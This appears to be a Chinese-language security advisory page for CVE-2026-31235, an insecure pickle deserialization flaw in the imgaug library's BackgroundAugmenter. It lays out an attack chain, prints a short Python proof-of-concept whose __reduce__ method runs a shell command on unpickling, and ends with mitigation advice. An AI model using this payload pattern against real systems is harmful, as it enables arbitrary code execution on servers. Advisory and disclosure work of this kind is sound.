IPBUF安全漏洞报告
English
CVE-2026-31235 CVSS 9.8 严重

CVE-2026-31235 imgaug库不安全反序列化漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31235
漏洞类型
不安全的反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
imgaug

相关标签

不安全的反序列化代码执行imgaugPythonCVSSv3.1

漏洞概述

imgaug图像增强库在0.4.0及更早版本中存在严重的不安全反序列化漏洞。该漏洞发生于`BackgroundAugmenter`类的多进程处理机制中,由于使用了不安全的`pickle`模块对队列数据进行反序列化且缺乏校验,允许攻击者注入恶意载荷。成功利用此漏洞可导致在Worker进程上下文中执行任意代码,进而威胁服务器安全,无需用户交互即可被利用。

技术细节

该漏洞位于`imgaug`库的`multicore.py`模块,具体涉及`BackgroundAugmenter`类。在实现多进程图像增强功能时,该类依赖Python原生的`pickle`模块对通过`multiprocessing.Queue`传输的数据对象进行反序列化。关键问题在于`_augment_images_worker()`方法直接调用`pickle.loads()`处理队列数据,且未对数据来源进行任何验证或过滤。由于Python的pickle机制在反序列化时会自动执行对象中定义的`__reduce__`等方法,攻击者若能控制输入数据(例如通过污染共享队列或诱导输入特定脚本),即可构造包含系统命令的恶意对象。一旦Worker进程加载该对象,便会以当前进程权限执行任意代码,造成严重的安全风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了imgaug库,并且启用了BackgroundAugmenter多进程功能。
STEP 2
载荷构造
攻击者利用Python pickle机制,编写包含__reduce__方法的恶意类,生成包含任意命令执行代码的序列化数据。
STEP 3
投递载荷
攻击者通过某种方式(如修改输入脚本、污染共享队列或利用其他漏洞)将恶意pickle数据注入到imgaug使用的多进程队列中。
STEP 4
触发漏洞
imgaug的Worker进程调用_augment_images_worker()方法,从队列中取出数据并使用pickle.loads()进行反序列化。
STEP 5
执行代码
反序列化过程触发恶意对象的__reduce__方法,在Worker进程的上下文中执行任意系统命令,实现代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # Command to execute: creating a file as proof of concept # Change 'touch /tmp/pwned' to 'calc.exe' for Windows proof return (os.system, ('touch /tmp/pwned',)) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # In a real attack scenario, this 'malicious_data' would be placed # into the multiprocessing queue consumed by imgaug.BackgroundAugmenter. # When the worker process calls pickle.loads() on the queue item, # the command 'touch /tmp/pwned' will be executed. print("[+] Malicious pickle payload generated.") print(f"[+] Payload length: {len(malicious_data)} bytes")

影响范围

imgaug <= 0.4.0

防御指南

临时缓解措施
如果无法立即升级,建议禁用imgaug库中的多进程增强功能(BackgroundAugmenter),转而使用单线程模式。同时,应严格限制能够向多进程队列写入数据的权限,确保只有可信来源才能提交序列化数据,以防止恶意载荷注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表